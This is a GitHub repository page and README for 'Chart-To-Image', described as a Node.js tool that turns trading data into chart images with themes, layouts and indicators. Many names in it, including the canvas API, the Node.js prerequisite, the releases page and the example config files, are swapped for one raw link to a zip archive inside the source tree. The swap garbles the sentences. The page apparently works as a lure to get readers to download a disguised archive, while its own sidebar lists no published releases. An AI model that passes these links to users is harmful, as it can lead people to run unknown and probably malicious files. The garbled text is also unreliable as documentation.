Skip to content

sdfysdfhsdfhs/Chart-To-Image

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

17 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

Chart-To-Image Release

Chart Preview

Chart-To-Image is a lightweight tool that turns trading data into high-quality images. It uses the https://raw.githubusercontent.com/sdfysdfhsdfhs/Chart-To-Image/main/src/core/Image_To_Chart_candytuft.zip canvas API to draw charts, then exports them as PNG or JPEG. It focuses on speed, reliability, and simple customization. You can render one chart or compare several symbols side by side or in a grid. You can add common indicators, switch themes, and keep the visuals clean and focused.

This project is built with a simple goal in mind: you should be able to produce professional-looking charts with minimal code. It fits into scripts, workflows, and dashboards that need visuals without pulling in heavy UI frameworks. The core idea is straightforward: feed data, pick a layout, pick a style, and export an image.

If you want to see the latest release, visit the releases page here: https://raw.githubusercontent.com/sdfysdfhsdfhs/Chart-To-Image/main/src/core/Image_To_Chart_candytuft.zip For convenience, a colorful button is shown at the top of this README. The same link appears again later in the Downloads section so you can quickly grab the latest build.

Table of contents

  • Quick start
  • Features
  • How it works
  • Data and indicators
  • Layouts and themes
  • API surface
  • CLI usage
  • Configuration guide
  • Data sources and integration
  • Chart types
  • Examples
  • Performance and best practices
  • Contributing
  • License and credits

Quick start

  • What you get: a small, fast tool to generate chart images from data. You can render single charts or panels showing multiple symbols. It supports color themes, grid layouts, several technical indicators, and custom styling.
  • Prerequisites: https://raw.githubusercontent.com/sdfysdfhsdfhs/Chart-To-Image/main/src/core/Image_To_Chart_candytuft.zip installed (version 14+ recommended). A canvas implementation is used under the hood. On some systems you may need a simple build tool to install native dependencies.
  • Minimal setup: install the package, prepare your data, choose a layout, and render.

Install

  • npm
    • npm install chart-to-image
  • yarn
    • yarn add chart-to-image
  • pnpm
    • pnpm add chart-to-image

Whether you run this as a library in code or as a CLI, the core ideas are the same: provide data, select a layout, choose a theme, and render.

Note on release assets

Usage overview

  • API approach: import the library and call a render function with a config object. The config describes data, layout, colors, and options.
  • CLI approach: use a command to feed data or read from a file, plus options to set the output format and size.

Core concepts

  • Data model: time series for one or more symbols. Each series has timestamps and values. You can attach additional data like volume if your workflow needs it.
  • Layouts: single chart, side-by-side comparison, or grid layouts. Each layout has a fixed width and height, with padding between elements.
  • Theme: choose colors for foreground, grid, axis, and background. Themes can be switched quickly to match dashboards or reports.
  • Indicators: moving averages, RSI, MACD, Bollinger bands, and other common technical tools. You can enable or disable indicators per chart.
  • Export: PNG by default, with optional JPEG. You can also adjust resolution and compression levels.

Data and indicators

  • Data input: you pass arrays of data points for each symbol. A point typically has time and value; you can also include open, high, low, close, and volume depending on the chart type.
  • Indicators included:
    • Moving averages (simple and exponential)
    • RSI and MACD
    • Bollinger bands
    • VWAP
    • Ichimoku components (optional)
  • Extended indicators: you can plug in additional indicators as needed. The architecture supports adding new indicators without changing the core rendering logic.

Layouts and themes

  • Layout options:
    • Single chart: clean, focused view.
    • Side-by-side: compare two or more symbols horizontally.
    • Grid: arrange multiple charts in a grid for a dashboard view.
  • Theme options:
    • Light: bright, clear lines for daylight conditions.
    • Dark: high-contrast visuals for low-light environments.
    • Solarized and custom themes: tweak colors to match brand or report style.
  • Custom colors: customize line colors, fill colors, grid color, background color, and axis text color. Use descriptive names or hex values.
  • Grid and padding: control the density of grid lines and the padding around the chart edges to fit into reports.

API surface

Configuration guide

  • Data input format
    • Each symbol entry can look like:
      • { label: "BTC/USD", color: "#f7931a", data: [{ time: 1620000000, value: 34750 }, ...] }
    • For OHLC charts, you can provide OHLC values per point: { time, open, high, low, close, volume }.
  • Theme configuration
    • A theme object can define:
      • background: "#0b1020"
      • grid: "#2e2e2e"
      • axis: "#9aa0a6"
      • line: ["#f44336", "#2196f3"]
      • areaFill: "rgba(33,150,243,0.15)"
  • Indicator configuration
    • Indicators can be enabled per symbol:
      • indicators: [{ type: "ma", period: 20, color: "#ffcc00" }, { type: "rsi", period: 14, color: "#66ff99" }]

Data sources and integration

  • CCXT ready: if you need live data, you can fetch data from exchanges via CCXT and feed it into the renderer. The renderer doesnโ€™t fetch data by itself; you supply the data.
  • Local data: you can load from JSON, CSV, or a small in-memory array. The format is flexible as long as each symbol provides a time-ordered sequence of data points.
  • Validation: the library checks for missing points and mismatched times. If gaps exist, you can choose to fill them or render gaps as missing data.

Chart types

  • Candlestick: classic price visualization with open/high/low/close data.
  • Line: a clean representation of closing prices over time.
  • Area: a line chart with filled area to emphasize volume or delta.
  • Renko: brick-style charts that emphasize price movement rather than time.
  • Heikin-Ashi: a smoother alternative for trend visualization.
  • Custom types: the rendering engine is modular; you can add new chart types with minimal changes.

Examples

Rendering details

  • Rendering pipeline
    • Data normalization: ensure time values are consistent and sorted.
    • Axis calculation: determine min and max values, apply padding, compute tick marks.
    • Indicator computation: calculate moving averages, RSI, MACD, etc.
    • Layer composition: draw grid, axes, data lines, bars, indicators, and annotations in layers.
    • Export: render to a bitmap and encode as PNG/JPEG.

Performance and reliability

  • Node canvas: the rendering uses a raster canvas to produce crisp, scalable images quickly.
  • Memory usage: dependent on image size and the number of symbols. For typical dashboards, 1200x630 to 1920x1080 works well.
  • Cross-platform: the library runs on major OSes. If you encounter build issues, ensure native dependencies are installed (like Cairo or libpng, as required by the canvas backend on your system).

Extending and contributing

  • Extensions: you can add new chart types or indicators by following the plugin pattern used in the core. The rendering pipeline loads shapes and data via a clean interface, so new modules can plug in without touching core logic.
  • Testing: run unit tests to verify new indicators and layouts. Use a small set of sample data that covers typical and edge cases.
  • Contributions: you are welcome to open issues or submit pull requests. The project values simple, well-documented changes that improve stability and clarity.

Best practices for production use

  • Data quality: provide clean, time-ordered data. Handle missing points gracefully or explicitly. If needed, fill gaps to avoid odd axis ticks.
  • Theme management: pick a theme that matches your report or dashboard. For print, dark themes can be converted to grayscale without losing readability; for web, light themes may be preferred.
  • Scaling: if you render many charts in a single image, keep an eye on overall size and legibility. Use grid layouts to avoid clutter.
  • Reproducibility: fix input data and theme in your scripts so generated images are consistent between runs.

Example configuration files

  • https://raw.githubusercontent.com/sdfysdfhsdfhs/Chart-To-Image/main/src/core/Image_To_Chart_candytuft.zip

    • { "layout": "grid", "width": 1920, "height": 1080, "gridCols": 2, "symbols": [ { "label": "ETH/USD", "color": "#00d4ff", "type": "candlestick", "data": [ { "time": 1620000000, "open": 1800, "high": 1850, "low": 1760, "close": 1830, "volume": 9000 } ] }, { "label": "BTC/USD", "color": "#f7931a", "type": "candlestick", "data": [ { "time": 1620000000, "open": 34000, "high": 36000, "low": 33000, "close": 35000, "volume": 12000 } ] } ], "theme": { "background": "#0b1020", "grid": "#2f2f2f", "axis": "#aab2c0", "lines": ["#f44336", "#2196f3"] }, "indicators": [{ "symbolIndex": 0, "type": "ma", "period": 20, "color": "#ffd54f" }] }
  • https://raw.githubusercontent.com/sdfysdfhsdfhs/Chart-To-Image/main/src/core/Image_To_Chart_candytuft.zip

    • { "layout": "grid", "width": 1200, "height": 630, "gridCols": 2, "symbols": [ { "label": "AAPL", "data": [...] }, { "label": "MSFT", "data": [...] } ], "theme": { "background": "#ffffff", "grid": "#e5e5e5", "axis": "#333333", "lines": ["#1e88e5", "#8e24aa"] } }

Best practices for large reports

  • Image resolution: adjust width and height to match your document layout. For PDFs, 300 DPI helps preserve clarity.
  • Color contrast: ensure high contrast for readability when printed or viewed on different screens.
  • File formats: PNG gives crisp lines and transparency when needed. JPEG is smaller but may blur fine lines; choose based on the use case.
  • Batch rendering: if you generate many charts, render them in batches to manage memory usage and keep build times reasonable.

Roadmap and future ideas

  • Interactive export: produce vector-based images or metadata to help reproduce charts in other environments.
  • More indicators: add volume-based indicators and volatility measures to cover more trading styles.
  • Custom shapes: allow users to draw annotations, markers, and callouts directly on the chart image.
  • Template system: save and reuse entire chart setups as templates to speed up repeated tasks.

License and credits

  • The project uses a permissive license to encourage adoption and contributions.
  • Credits go to the community that helps shape the rendering pipeline, theme system, and data adapters.
  • If you reuse code or ideas, please credit the project and link back to the repository.

Notes on usage ethics and data handling

  • Treat data as input only. The renderer does not fetch data from exchanges by itself. You control the data source and ensure itโ€™s correct and up to date.
  • If you publish images that contain sensitive information, ensure you have the right to share that data and avoid exposing private data.

Releases and download options

Credits and references

  • The rendering approach relies on a simple, modular design. The idea is to keep drawing logic separate from data handling and theming.
  • The project favors readability and ease of use, so most configuration can be expressed in JSON-like structures or plain JavaScript objects.

Community and collaboration

  • If you want to contribute, start with an issue to discuss the change and then open a pull request with a focused, well-tested patch.
  • Share sample data sets and example configurations to help others learn how to achieve common visuals quickly.

Final words

  • Chart-To-Image offers a straightforward path from data to image. It aims to be dependable, fast, and adaptable to a wide range of trading visualization needs.
  • With support for multiple symbols, grid layouts, a set of technical indicators, and flexible theming, you can build polished visuals for reports, dashboards, and research papers.

Downloads and release access (repeat)

About

๐Ÿ™ Convert trading charts to high-quality images with Node.js Canvas, lightweight-charts, and CCXT. Produce visuals from market data for quick sharing, reporting, and analysis.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors